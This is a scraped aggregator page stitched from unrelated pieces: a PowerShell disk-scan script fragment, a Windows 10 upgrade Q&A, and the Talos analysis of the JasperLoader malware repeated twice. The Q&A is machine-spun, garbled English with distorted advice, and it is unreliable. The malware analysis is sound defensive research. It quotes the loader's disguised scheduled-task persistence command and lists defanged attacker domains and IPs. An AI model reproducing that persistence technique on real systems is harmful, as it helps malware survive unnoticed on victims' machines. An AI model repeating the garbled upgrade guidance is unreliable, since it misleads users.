$Recovery {break} ; $SystemVolumeInformation {break} default {$own=Get-Acl$item.FullName} } $object=New-Object-TypeNamePSObject $object|Add-Member-Name'CompName'-MemberTypeNoteproperty-Value$compName $object|Add-Member-Name'TotalSpace'-MemberTypeNoteproperty-Value$TotalSpace $object|Add-Member-Name'FreeSpace'-MemberTypeNoteproperty-Value$FreeSpace $object|Add-Member-Name'Name'-MemberTypeNoteproperty-Value$item.Name $object|Add-Member-Name'FilePath'-MemberTypeNoteproperty-Value$item.FullName $object|Add-Member-Name'Type'-MemberTypeNoteproperty-Value$FType $object|Add-Member-Name'Size'-MemberTypeNoteproperty-Value$FSize $object|Add-Member-Name'In'-MemberTypeNoteproperty-Value'GB' $object|Add-Member-Name'% of HDD'-MemberTypeNoteproperty-Value$PerHDD $finalObj+=$object } "Folder scan completed." $finalObj|Export-Csv$outFile "Job Completed! File created successfully"
Output is a csv file –
CompName
TotalSpace
FreeSpace
Name
Size
In
% of HDD
<compName>
99.99999619
29.15378189
Program Files
2.12
GB
2.12
Conclusion
PowerShell is extremely powerful and handy when comes to manage server and database tasks and can quickly automate tasks for you. Give it a try! Happy Coding!
via http://ift.tt/2o1U0Z9
0 notes
workreveal-blog · 8 years ago
Text
10 quick questions about installing Microsoft Windows 10
New Post has been published on https://workreveal.biz/10-quick-questions-about-installing-microsoft-windows-10/
10 quick questions about installing Microsoft Windows 10
Download length How lots statistics do I want to Download to install Home Microsoft windows 10? Brian
The Download length depends on the model and varies from Pc to Laptop. Home Windows 10 Home is currently around 2.6GB, but 3GB is a good round range. Updates, patches and apps will add to that.
Time taken How lengthy does the upgrade take to install? G James
installation disc
It depends on at the version, the rate of the Laptop and, in particular, the velocity of the hard disk or SSD (solid country power). It can take from 30 to 90 minutes; normally it takes approximately an hour.
Saving documents While Windows 10 is established, will it maintain everything I’ve in Windows 7 or do I need to make a backup disk? Bryan
Nearly all of your old documents and downloads will remain in the area unless something goes incorrect. For this reason, you ought to backup your files to DVD or an external USB strong power. (You ought to make a backup even if you don’t circulate to Home windows 10.) Otherwise, see my in advance answer: How have to I put together my Laptop for the improve to Home windows 10?
I stated “Nearly all” due to the fact a few Home windows functions might be eliminated: see Function depreciation for full details. Also notice that “Windows Media Middle” is a very particular program from Windows Media Participant, and the Media Participant isn’t always eliminated. (You possibly don’t understand what Windows Media Center does, and infrequently everyone used it.)
Direct downloads I reserved Home windows ten a while ago, and that I received an email with a link to upgrade. The update button does in reality not anything. Wherein do I am going from right here, please? Cary
Visit the Windows 10 improve the page and click the button that announces “Download now”. It must upgrade your Windows 7 to Home windows 10. If not, see the following solution….
Direct enhancements Can I installation Home Windows ten from an ISO using Home windows 7 product key? I lost Home windows 7 While my hard disk failed. James
Sure, that have to work. At launch, Home windows ten did not realise old product keys. However, it does now.
You can Download a “media introduction device” and an ISO of Home windows 10 and installation it from a DVD or USB tool. Start here.
Activation keys I was given the unfastened improve Home windows 10, but I did no longer get an activation key. Cora
Windows 10 does no longer use man or woman activation or product keys. While you deploy Home Windows 10, Microsoft creates a hash out of your hardware and shops the wide variety on-line. Your Pc have to spark off automatically While you connect with the net.
Microsoft
Attempt again I established the Windows 10 upgrade and reverted to Windows 7 after a quick duration. Can I set up it on my PC again? Papawnana
While you upgraded, Microsoft saved your Laptop’s hash code on its activation server. You can now upgrade to Windows 10 each time you want, even after the loose improve offer ends.
Saving emails I updated a few months ago, and all my Outlook emails had been gone, so I reverted. Now it seems to make sense to move ahead with upgrading to Home windows 10. Any hints on backing up the emails nicely? Josh
You could return up your emails by way of finding the Mail app’s folder and copying the contents to an external hard drive or USB thumb power, then copy them back later if important. The folder is hidden, so you will need to change the View choice to reveal hidden files and folders.
If a seek doesn’t locate Mail, you’ll need to dig for it using going to the Customers folder, your person name, after which App data, etc. The complete address will consist of a few particular random names, for protection.
The similar approach will work with emails saved by way of the Windows Live Mail program.
Notice which are rare types of e-mail carrier. In case you are the use of a POP3 (Publish Office Protocol) carrier then emails are downloaded to your Laptop and deleted from the server. If you are the usage of an IMAP (net Message Get entry to Protocol) service, the emails are retained at the server, so that you can Download them once more.
Whether Vista? I have an HP Compaq 6720 strolling Home Windows Vista Enterprise. Is there a loose improve to a more modern operating device along with Windows 7 or 10 or maybe something else? Miguel
Sorry, you cannot develop without delay from Windows Vista to Windows 10, even if you pay. You may, but, deploy a unfastened alternative within the shape of, as an example, Linux Mint 17.three. But, Linux does now not run modern Windows software program along with Microsoft Workplace, Adobe Photoshop and Lightroom, Apple iTunes, most games and so forth.
In case you need to continue with Home windows, you may upgrade to Home windows seven first, then to Windows 10 earlier than July 29. Lamentably, you ignored the danger to shop for a cheap upgrade however You may save around for offers on Windows 7. Otherwise, see my earlier answer: While and the way have to I upgrade my old Windows Vista computer?
There is no assure that Home windows ten will paintings on a vintage Computer, so seek the web in your particular make and model to look how others have fared. A short look indicates you ought to be Ok.
Enterprise troubles I am presently strolling Windows 7 Organization and would love to upgrade to Windows 10. What would be the most efficient way to try this? Gary E
The free improve provide handiest applies to Desktops jogging the home and Seasoned versions of Windows 7/eight/eight.1, not the Organisation versions, which might be best available through a Microsoft Extend License.
You – or the corporation that took out the Quantity licence – will improve it thru the Quantity Licensing service Center. You may need a legitimate Corporation product key.
You may do an upgrade, but you can not do an in-area downgrade from an Enterprise version to a Home or Seasoned model. That could need a clean set up from an ISO.
Stopping the upgrade Bonus solution: I couldn’t find a latest electronic mail asking this query. But, the modern-day answer is: search for the line of textual content beneath the date that announces “Click here to alternate improve agenda or cancel the scheduled upgrade.” in case you need to reverse the update inside 30 days, Go to Settings, pick Replace & protection, after which Recuperation. Click on the option that says “Go returned to Windows 7” or whatever.
In case you need to dam Windows 10 from being installed, Download GRC’s free software, Never10. This isn’t always a software. It changes the settings following Microsoft’s instructions, which human beings either don’t understand approximately or can’t follow.
Microsoft’s remaining version of Windows is sooner or later right here: Home Windows 10 is arguably the satisfactory text of the ever-present operating system. However, the query is, need to you upgrade free of charge right now? Or will or not it’s any other Home windows eight second?
Home Windows 10 is a massive step in the direction of the Microsoft current turning into an always-connected running machine for every device, not just Desktops, that’s constantly up to date free of charge. It’ll run conventional laptop Home windows apps, like Home windows 7. but it will Additionally run new “standard” apps downloaded from the Windows Save, which Microsoft hopes will become a trusted supply of conventional Home windows computing device packages as properly.
Home windows ten on Almost every tool “time-honored” is the key word for Microsoft’s ambitions. Home Windows ten will run on the whole lot from smartphones to large servers, via drugs, convertibles, laptops, all-in-ones, laptop Pcs and Surface Hubs with 84in displays. Standard apps will run on all Home windows ten devices and the Xbox One games console, eliminating the pain of getting to know different user interfaces for various incompatible equipment, and making it less complicated to percentage things between them.
Obviously, this could depend upon how broadly followed Home Windows 10 turns into. Microsoft hopes to draw one thousand million Customers in 3 years using presenting loose improvements to Home Windows 10 for devices running Windows 7, eight and eight.1. That’s Also why it’s a chunk of a hybrid, skewed to attraction to the general public of Home windows 7 Users while preserving a pill mode acquainted to Windows 8 Users.
windows
installation should take 20 to ninety minutes, relies upon in your hardware.
The Start menu is back, child
The Begin menu is Home Windows 10’s most notable Feature, and it will please Home Windows, 7 Users. It combines a listing of packages just like Windows 7 with one or two panels of Stay tiles pulled from Home windows 8. Choosing “all applications” suggests them in alphabetical order, But the seek field acquainted to Customers of Vista and Home windows seven has been moved to the taskbar, Where it’s far more Obviously available.
You could run your traditional computer applications from either aspect of the Start menu, from the taskbar, or from XP-style icons at the laptop. In case you sincerely don’t need to trade the way you figure, Home windows ten won’t force you.
Microsoft’s pre-set up apps are progressed over Home windows eight variations, particularly Mail and Calendar, Microsoft Photographs and the PowerShell command device for power Users. Home Windows Media Middle, games and gadgets from Home windows seven are long gone, but Home Windows Media Player continues to be there. Loose replacements for lacking apps are to be had in the Home windows Save.
0 notes
terabitweb · 6 years ago
Text
Original Post from Talos Security Author:
Nick Biasini and Edmund Brumaghin authored this blog post.
Executive summary
Over the past few months, a new malware loader called JasperLoader has emerged that targets Italy and other European countries with banking trojans such as Gootkit. We recently released a comprehensive analysis of the functionality associated with JasperLoader. Shortly after the publication of our analysis, the distribution activity associated with these campaigns halted. But after several weeks of relatively low volumes of activity, we discovered a new version of JasperLoader being spread. This new version features several changes and improvements from the initial version we analyzed. JasperLoader is typically used to infect systems with additional malware payloads which can be used to exfiltrate sensitive information, damage systems or otherwise negatively impact organizations.
The attackers behind this specific threat have implemented additional mechanisms to control where the malware can spread and are now taking steps to avoid analysis by sandboxes and antivirus companies. There’s also a new command and control (C2) mechanism to facilitate communications between infected systems and the infrastructure being used to control them. The campaigns that are currently distributing JasperLoader continue to target Italian victims and further demonstrate that while JasperLoader is a relatively new threat, the developers behind it are continuing to actively refine and improve upon this malware at a rapid pace and introduce sophistication that is not commonly seen in financially motivated malware.
Delivery changes
As mentioned in our previous analysis of JasperLoader, the distribution campaigns attempting to spread this malware are relying heavily on certified email services in Italy. However, the actors have made some changes to the way distribution occurs.
The initial emails we saw contained ZIP files with VBS files inside them. These VBS files were similar to the VBS and DOCM files we saw in the previous campaign and began the infection process. The version with attached files didn’t last long and was not very high in volume.
Shortly afterward, we saw a new shift away from using attachments directly. In the case shown below, you can see the initial email being sent through the typical certified email service that has been repeatedly leveraged by the actors behind JasperLoader.
Just as we saw previously, the email is written in Italian and states that the original message is included as an attachment. You can see the original email titled “postacert.eml” attached. The following pops up once the email is opened:
This is where the distribution process started to shift. There are not any attachments in the email, but instead, there is a hyperlink that makes a connection to hxxp:\tribunaledinapoli[.]recsinc[.]com/documento.zip with a parameter that is referenced in the email. For example, above the full URL was hxxp:\tribunaledinapoli[.]recsinc[.]com/documento.zip?214299. Note that the number 214299 is the number referenced in the email itself. When we initially saw this change, we immediately began to investigate and, initially, it appeared to be benign. The URL leads to an HTTP 302 response from the web server. HTTP 302 is the redirect code for temporarily moved and has been abused by adversaries for years, including the use of 302 cushioning by exploit kits several years ago.
This particular 302 redirected to http://www.cnnic[.]cn, which is the Chinese Internet Network Information Center (CNNIC), the organization responsible for internet affairs in the People’s Republic of China. Obviously, this isn’t the place that an adversary would send a potential victim to get compromised. It was at this point that we started looking at potential geofencing.
Geofencing is a technique that some adversaries use to ensure that all the victims are from a particular region or country and that researchers like us have more difficulty tracking down the activity. It’s something we’ve seen repeatedly used by advanced adversaries but is not commonly done with crimeware threats like JasperLoader. In order to make that determination, we routed our traffic through Italian IP space and tried to follow the same link.
When the traffic is routed through Italian IP space, the results are drastically different. The request is met with a ZIP file that contains a malicious VBS file that is similar to the samples we found attached to emails earlier in the week. Once this VBS file is executed, the infection process kicks off and the loader is installed.
As we observed in previous campaigns, JasperLoader continues to leverage domain shadowing, and moves rapidly across subdomains that they control. The chart below shows the DNS resolution activity associated with one of the C2 domains leveraged by JasperLoader. The scope if fairly limited, but more than 95 percent of resolutions came from Italy, so the geofencing protections they put into place appear to be somewhat successful.
Let’s now walk through the new infection process where we highlight some of the evolutions we’ve discovered.
JasperLoader functionality changes
The infection process associated with JasperLoader continues to feature multiple stages which are used to establish a foothold on systems, initiate communications with attacker-controlled infrastructure and implement the core functionality of the loader. While much of the process functions similar to what was described in our previous analysis of JasperLoader, there have been several notable changes to the malware’s operation, which are described in the following sections.
Additional layers of obfuscation
Similar to what was previously seen in the JasperLoader infection process, the attackers rely upon several layers of obfuscation to attempt to hide the operation of the malware. In general, they leverage character replacement mechanisms and perform mathematical calculations at runtime to reconstruct the PowerShell instructions that will be executed on infected systems. This same process is used by the Visual Basic Script (VBS) downloader observed across these campaigns.
In current campaigns spreading JasperLoader, the attackers have introduced an additional layer of character replacement to further obfuscate the underlying PowerShell. Once the VBS has been deobfuscated, the underlying PowerShell is:
Replacing each of the characters in the previous image results in the Stage 1 PowerShell that is used to retrieve additional stages from attacker controlled servers. An example of this stage of PowerShell is:
This PowerShell is similar to what was seen in previous JasperLoader campaigns with a few notable differences.
Decoy documents
As can be seen in the PowerShell associated with Stage 1, a PDF is retrieved from the specified URL and displayed to the user. This PDF is not overtly malicious and is simply designed to function as a decoy document so that when a user executes the VBS, there’s an expected result.
While victims will simply see the PDF above, in the background, the infection process is continuing with the malware attempting to retrieve Stage 2.
Geolocation filtering
One of the changes made in JasperLoader is the introduction of additional geolocation-based filtering. Geolocation-based filtering was also being leveraged during the delivery stage of the infection process. In previous versions of JasperLoader, the malware would use the Get-UICulture PowerShell cmdlet at each stage of the infection process and terminate if the system was configured to use the language pack associated with People’s Republic of China, Russia, Ukraine or Belarus. The latest version of JasperLoader has added an additional check for Romanian and will exit if any of these language settings are in use.
Virtual machine/Sandbox detection
Another new feature that has been added in the latest version of JasperLoader is detection for hypervisor-based environments. In many cases, malware will perform various checks to determine if it being executed in a virtual environment and terminate execution to avoid being analyzed by sandbox or anti-malware solutions
The latest version of JasperLoader has introduced mechanisms that query the Windows Management Instrumentation (WMI) subsystem to obtain the model of the system that is being infected. The model identifier is then checked so see if it matches the following hypervisors:
VirtualBox
VMware
KVM
If so, the malware terminates execution and does not attempt to perform any additional actions on the system. These same checks are performed at each stage of the infection process.
Stage 3 functionality/Payload retrieval
While there have been minor changes at Stage 2, they are mostly related to file storage locations, file naming conventions, and other characteristics are frequently modified on a campaign by campaign basis, but the overall functionality and process of retrieving, deobfuscating, and executing Stage 2 to obtain Stage 3 remains relatively unchanged. For details of how this process works, please refer to our previous blog here.
The majority of the ongoing development activity appears to have been focused on Stage 3 of the JasperLoader infection process as that is where most of the JasperLoader functionality resides. The latest version of JasperLoader has changed how the malware attempts to persist across reboots, has introduced mechanisms to protect C2 communications, and added more robust mechanisms for ensuring that updates to JasperLoader get propagated efficiently to all of the systems that are part of the JasperLoader botnet.
Persistence mechanism
In previous versions of JasperLoader, the malware would obtain persistence on infected systems by creating a malicious Windows shortcut (LNK) in the Startup folder on the system. The latest version of JasperLoader accomplishes this using the Task Scheduler, as well. A scheduled task is created on infected systems using the following syntax:
schtasks.exe /create /TN "Windows Indexing Service" /sc DAILY /st 00:00 /f /RI 20 /du 24:59 /TR (Join-Path $bg_GoodPAth 'WindowsIndexingService.js');
This creates a Scheduled Task that will relaunch JasperLoader periodically. If this process fails, JasperLoader will then revert back to the use of the shortcut for persistence.
Failback C2 mechanism
One of the features that has been added to JasperLoader is a failback C2 domain retrieval mechanism that allows for time-based fluxing. A default C2 domain is specified. If that domain is not available, the current date on the system is used to generate a series of failback domains that the malware will attempt to use for C2 communications.
Bot registration
The malware has also implemented a new bot registration and ID generation mechanism and utilizes different pieces of information to create a unique identifier for each system than what was seen in previous versions of JasperLoader. As before, this information is communicated to the C2 as parameters within an HTTP GET request and is generated using the following:
Interesting PowerShell artifacts
One interesting artifact present in the PowerShell associated with Stage 3 of JasperLoader is in the function responsible for defining the C2 domain to use for future communications. The function is called BG_SelectDomen(). The word “domen” translates to “domain” and is a word that is widely used in multiple countries, including Romania.
While this is a low-confidence indicator, it is interesting in relation to the apparent targeting of this malware as well as the geolocational checking that is performed to determine whether it should continue to execute on infected systems.
Payload delivery
During our analysis of the latest JasperLoader campaigns, we were unable to receive the commands and URL information required to obtain a malicious PE32 from the attacker’s C2 infrastructure. We did note that the C2 communications channel remained active and was beaconing.
This may be due to JasperLoader not being actively used to spread additional payloads at this time. The botnet operator may be attempting to obtain JasperLoader infections in order to build out capabilities so that they can be monetized for the purposes of leveraging the botnet to distribute additional malware in the future. We have seen reports indicating that GootKit may again be the payload of choice for this campaign. GootKit was the payload during the previous campaign we analyzed, so its inclusion in this campaign seems likely.
Conclusion
As illustrated by these new JasperLoader campaigns, adversaries are always going to take steps to try and increase their ability to infect victims, while at the same time evading detection and analysis. JasperLoader has taken that to the extreme and has quickly developed additional capabilities and added additional layers of obfuscation, while at the same time taking steps to evade virtual machines and geofence their victims in Italy. The majority of these changes came rapidly and demonstrate the author’s commitment to making JasperLoader a robust, flexible threat that can be updated rapidly as security controls and detection capabilities change. Despite all these steps, we are still able to derive enough intelligence to expose their activities and protect our customers and the general public from their malicious intentions.
JasperLoader is another prime example of how rapidly threats can change and illustrates just how important threat intelligence is to ensuring that organizations are prepared to defend against them even as adversaries are constantly investing time, effort, and resources into improving upon their tools as they attempt to stay ahead of defenses deployed on enterprise networks. As techniques become less effective, cybercriminals will continue to move to other techniques to maximize their success in achieving their mission objectives. While JasperLoader is still relatively new compared to other established malware loaders out there, they have demonstrated that they will continue to improve upon this malware and leverage it against organizations. It is expected that as this botnet continues to grow, it will likely become more heavily leveraged for the distribution of various malware payloads as the operators of this botnet can make use of already infected systems at the push of a button or the issuance of a command.
Coverage
Ways our customers can detect and block this threat are listed below.
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.
Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.
Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Indicators of compromise
The following IOCs are associated with various malware distribution campaigns that were observed during the analysis of JasperLoader activity.
Domains
A list of domains observed to be associated with JasperLoader are below.
breed[.]wanttobea[.]com zzi[.]aircargox[.]com nono[.]littlebodiesbigsouls[.]com tribunaledinapoli[.]recsinc[.]com tribunaledinapoli[.]prepperpillbox[.]com tribunaledinapoli[.]lowellunderwood[.]com tribunaledinapoli[.]rntman.com
IP addresses
A list of IP addresses observed to be associated with JasperLoader are below.
185[.]158[.]251[.]171 185[.]158[.]249[.]116
Hashes
A list of file hashes (SHA256) observed to be associated with JasperLoader are below.
052c9895383eb10e4ad5bec37822f624e443bbe01700b1fe5abeeea757456aed 54666103a3c8221cf3d7d39035b638f3c3bcc233e1916b015aeee2539f38f719 ee3601c6e111c42d02c83b58b4fc70265b937e9d4d153203a4111f51a8a08aab
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sorpresa! JasperLoader targets Italy with a new bag of tricks Original Post from Talos Security Author: Nick Biasini and Edmund Brumaghin authored this blog post. Executive summary…
0 notes
terabitweb · 6 years ago
Text
Original Post from Talos Security Author:
Nick Biasini and Edmund Brumaghin authored this blog post.
Executive summary
Over the past few months, a new malware loader called JasperLoader has emerged that targets Italy and other European countries with banking trojans such as Gootkit. We recently released a comprehensive analysis of the functionality associated with JasperLoader. Shortly after the publication of our analysis, the distribution activity associated with these campaigns halted. But after several weeks of relatively low volumes of activity, we discovered a new version of JasperLoader being spread. This new version features several changes and improvements from the initial version we analyzed. JasperLoader is typically used to infect systems with additional malware payloads which can be used to exfiltrate sensitive information, damage systems or otherwise negatively impact organizations.
The attackers behind this specific threat have implemented additional mechanisms to control where the malware can spread and are now taking steps to avoid analysis by sandboxes and antivirus companies. There’s also a new command and control (C2) mechanism to facilitate communications between infected systems and the infrastructure being used to control them. The campaigns that are currently distributing JasperLoader continue to target Italian victims and further demonstrate that while JasperLoader is a relatively new threat, the developers behind it are continuing to actively refine and improve upon this malware at a rapid pace and introduce sophistication that is not commonly seen in financially motivated malware.
Delivery changes
As mentioned in our previous analysis of JasperLoader, the distribution campaigns attempting to spread this malware are relying heavily on certified email services in Italy. However, the actors have made some changes to the way distribution occurs.
The initial emails we saw contained ZIP files with VBS files inside them. These VBS files were similar to the VBS and DOCM files we saw in the previous campaign and began the infection process. The version with attached files didn’t last long and was not very high in volume.
Shortly afterward, we saw a new shift away from using attachments directly. In the case shown below, you can see the initial email being sent through the typical certified email service that has been repeatedly leveraged by the actors behind JasperLoader.
Just as we saw previously, the email is written in Italian and states that the original message is included as an attachment. You can see the original email titled “postacert.eml” attached. The following pops up once the email is opened:
This is where the distribution process started to shift. There are not any attachments in the email, but instead, there is a hyperlink that makes a connection to hxxp:\tribunaledinapoli[.]recsinc[.]com/documento.zip with a parameter that is referenced in the email. For example, above the full URL was hxxp:\tribunaledinapoli[.]recsinc[.]com/documento.zip?214299. Note that the number 214299 is the number referenced in the email itself. When we initially saw this change, we immediately began to investigate and, initially, it appeared to be benign. The URL leads to an HTTP 302 response from the web server. HTTP 302 is the redirect code for temporarily moved and has been abused by adversaries for years, including the use of 302 cushioning by exploit kits several years ago.
This particular 302 redirected to http://www.cnnic[.]cn, which is the Chinese Internet Network Information Center (CNNIC), the organization responsible for internet affairs in the People’s Republic of China. Obviously, this isn’t the place that an adversary would send a potential victim to get compromised. It was at this point that we started looking at potential geofencing.
Geofencing is a technique that some adversaries use to ensure that all the victims are from a particular region or country and that researchers like us have more difficulty tracking down the activity. It’s something we’ve seen repeatedly used by advanced adversaries but is not commonly done with crimeware threats like JasperLoader. In order to make that determination, we routed our traffic through Italian IP space and tried to follow the same link.
When the traffic is routed through Italian IP space, the results are drastically different. The request is met with a ZIP file that contains a malicious VBS file that is similar to the samples we found attached to emails earlier in the week. Once this VBS file is executed, the infection process kicks off and the loader is installed.
As we observed in previous campaigns, JasperLoader continues to leverage domain shadowing, and moves rapidly across subdomains that they control. The chart below shows the DNS resolution activity associated with one of the C2 domains leveraged by JasperLoader. The scope if fairly limited, but more than 95 percent of resolutions came from Italy, so the geofencing protections they put into place appear to be somewhat successful.
Let’s now walk through the new infection process where we highlight some of the evolutions we’ve discovered.
JasperLoader functionality changes
The infection process associated with JasperLoader continues to feature multiple stages which are used to establish a foothold on systems, initiate communications with attacker-controlled infrastructure and implement the core functionality of the loader. While much of the process functions similar to what was described in our previous analysis of JasperLoader, there have been several notable changes to the malware’s operation, which are described in the following sections.
Additional layers of obfuscation
Similar to what was previously seen in the JasperLoader infection process, the attackers rely upon several layers of obfuscation to attempt to hide the operation of the malware. In general, they leverage character replacement mechanisms and perform mathematical calculations at runtime to reconstruct the PowerShell instructions that will be executed on infected systems. This same process is used by the Visual Basic Script (VBS) downloader observed across these campaigns.
In current campaigns spreading JasperLoader, the attackers have introduced an additional layer of character replacement to further obfuscate the underlying PowerShell. Once the VBS has been deobfuscated, the underlying PowerShell is:
Replacing each of the characters in the previous image results in the Stage 1 PowerShell that is used to retrieve additional stages from attacker controlled servers. An example of this stage of PowerShell is:
This PowerShell is similar to what was seen in previous JasperLoader campaigns with a few notable differences.
Decoy documents
As can be seen in the PowerShell associated with Stage 1, a PDF is retrieved from the specified URL and displayed to the user. This PDF is not overtly malicious and is simply designed to function as a decoy document so that when a user executes the VBS, there’s an expected result.
While victims will simply see the PDF above, in the background, the infection process is continuing with the malware attempting to retrieve Stage 2.
Geolocation filtering
One of the changes made in JasperLoader is the introduction of additional geolocation-based filtering. Geolocation-based filtering was also being leveraged during the delivery stage of the infection process. In previous versions of JasperLoader, the malware would use the Get-UICulture PowerShell cmdlet at each stage of the infection process and terminate if the system was configured to use the language pack associated with People’s Republic of China, Russia, Ukraine or Belarus. The latest version of JasperLoader has added an additional check for Romanian and will exit if any of these language settings are in use.
Virtual machine/Sandbox detection
Another new feature that has been added in the latest version of JasperLoader is detection for hypervisor-based environments. In many cases, malware will perform various checks to determine if it being executed in a virtual environment and terminate execution to avoid being analyzed by sandbox or anti-malware solutions
The latest version of JasperLoader has introduced mechanisms that query the Windows Management Instrumentation (WMI) subsystem to obtain the model of the system that is being infected. The model identifier is then checked so see if it matches the following hypervisors:
VirtualBox
VMware
KVM
If so, the malware terminates execution and does not attempt to perform any additional actions on the system. These same checks are performed at each stage of the infection process.
Stage 3 functionality/Payload retrieval
While there have been minor changes at Stage 2, they are mostly related to file storage locations, file naming conventions, and other characteristics are frequently modified on a campaign by campaign basis, but the overall functionality and process of retrieving, deobfuscating, and executing Stage 2 to obtain Stage 3 remains relatively unchanged. For details of how this process works, please refer to our previous blog here.
The majority of the ongoing development activity appears to have been focused on Stage 3 of the JasperLoader infection process as that is where most of the JasperLoader functionality resides. The latest version of JasperLoader has changed how the malware attempts to persist across reboots, has introduced mechanisms to protect C2 communications, and added more robust mechanisms for ensuring that updates to JasperLoader get propagated efficiently to all of the systems that are part of the JasperLoader botnet.
Persistence mechanism
In previous versions of JasperLoader, the malware would obtain persistence on infected systems by creating a malicious Windows shortcut (LNK) in the Startup folder on the system. The latest version of JasperLoader accomplishes this using the Task Scheduler, as well. A scheduled task is created on infected systems using the following syntax:
schtasks.exe /create /TN "Windows Indexing Service" /sc DAILY /st 00:00 /f /RI 20 /du 24:59 /TR (Join-Path $bg_GoodPAth 'WindowsIndexingService.js');
This creates a Scheduled Task that will relaunch JasperLoader periodically. If this process fails, JasperLoader will then revert back to the use of the shortcut for persistence.
Failback C2 mechanism
One of the features that has been added to JasperLoader is a failback C2 domain retrieval mechanism that allows for time-based fluxing. A default C2 domain is specified. If that domain is not available, the current date on the system is used to generate a series of failback domains that the malware will attempt to use for C2 communications.
Bot registration
The malware has also implemented a new bot registration and ID generation mechanism and utilizes different pieces of information to create a unique identifier for each system than what was seen in previous versions of JasperLoader. As before, this information is communicated to the C2 as parameters within an HTTP GET request and is generated using the following:
Interesting PowerShell artifacts
One interesting artifact present in the PowerShell associated with Stage 3 of JasperLoader is in the function responsible for defining the C2 domain to use for future communications. The function is called BG_SelectDomen(). The word “domen” translates to “domain” and is a word that is widely used in multiple countries, including Romania.
While this is a low-confidence indicator, it is interesting in relation to the apparent targeting of this malware as well as the geolocational checking that is performed to determine whether it should continue to execute on infected systems.
Payload delivery
During our analysis of the latest JasperLoader campaigns, we were unable to receive the commands and URL information required to obtain a malicious PE32 from the attacker’s C2 infrastructure. We did note that the C2 communications channel remained active and was beaconing.
This may be due to JasperLoader not being actively used to spread additional payloads at this time. The botnet operator may be attempting to obtain JasperLoader infections in order to build out capabilities so that they can be monetized for the purposes of leveraging the botnet to distribute additional malware in the future. We have seen reports indicating that GootKit may again be the payload of choice for this campaign. GootKit was the payload during the previous campaign we analyzed, so its inclusion in this campaign seems likely.
Conclusion
As illustrated by these new JasperLoader campaigns, adversaries are always going to take steps to try and increase their ability to infect victims, while at the same time evading detection and analysis. JasperLoader has taken that to the extreme and has quickly developed additional capabilities and added additional layers of obfuscation, while at the same time taking steps to evade virtual machines and geofence their victims in Italy. The majority of these changes came rapidly and demonstrate the author’s commitment to making JasperLoader a robust, flexible threat that can be updated rapidly as security controls and detection capabilities change. Despite all these steps, we are still able to derive enough intelligence to expose their activities and protect our customers and the general public from their malicious intentions.
JasperLoader is another prime example of how rapidly threats can change and illustrates just how important threat intelligence is to ensuring that organizations are prepared to defend against them even as adversaries are constantly investing time, effort, and resources into improving upon their tools as they attempt to stay ahead of defenses deployed on enterprise networks. As techniques become less effective, cybercriminals will continue to move to other techniques to maximize their success in achieving their mission objectives. While JasperLoader is still relatively new compared to other established malware loaders out there, they have demonstrated that they will continue to improve upon this malware and leverage it against organizations. It is expected that as this botnet continues to grow, it will likely become more heavily leveraged for the distribution of various malware payloads as the operators of this botnet can make use of already infected systems at the push of a button or the issuance of a command.
Coverage
Ways our customers can detect and block this threat are listed below.
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware detailed in this post. Below is a screenshot showing how AMP can protect customers from this threat. Try AMP for free here.
Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Additional protections with context to your specific environment and threat data are available from the Firepower Management Center.
Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Indicators of compromise
The following IOCs are associated with various malware distribution campaigns that were observed during the analysis of JasperLoader activity.
Domains
A list of domains observed to be associated with JasperLoader are below.
breed[.]wanttobea[.]com zzi[.]aircargox[.]com nono[.]littlebodiesbigsouls[.]com tribunaledinapoli[.]recsinc[.]com tribunaledinapoli[.]prepperpillbox[.]com tribunaledinapoli[.]lowellunderwood[.]com tribunaledinapoli[.]rntman.com
IP addresses
A list of IP addresses observed to be associated with JasperLoader are below.
185[.]158[.]251[.]171 185[.]158[.]249[.]116
Hashes
A list of file hashes (SHA256) observed to be associated with JasperLoader are below.
052c9895383eb10e4ad5bec37822f624e443bbe01700b1fe5abeeea757456aed 54666103a3c8221cf3d7d39035b638f3c3bcc233e1916b015aeee2539f38f719 ee3601c6e111c42d02c83b58b4fc70265b937e9d4d153203a4111f51a8a08aab
#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */
Go to Source Author: Sopresa! JasperLoader targets Italy with a new bag of tricks Original Post from Talos Security Author: Nick Biasini and Edmund Brumaghin authored this blog post. Executive summary…
0 notes
terabitweb · 6 years ago
Text
Original Post from Security Affairs Author: Pierluigi Paganini
ZLab Yoroi-Cybaze dissected another attack wave of Ursnif Trojan, aka Gozi ISFB, an offspring of the original Gozi which source code was leaked in 2014. ZLab Yoroi-Cybaze dissected another attack wave of Ursnif Trojan, aka Gozi ISFB, an offspring of the original Gozi which source code was leaked in 2014.
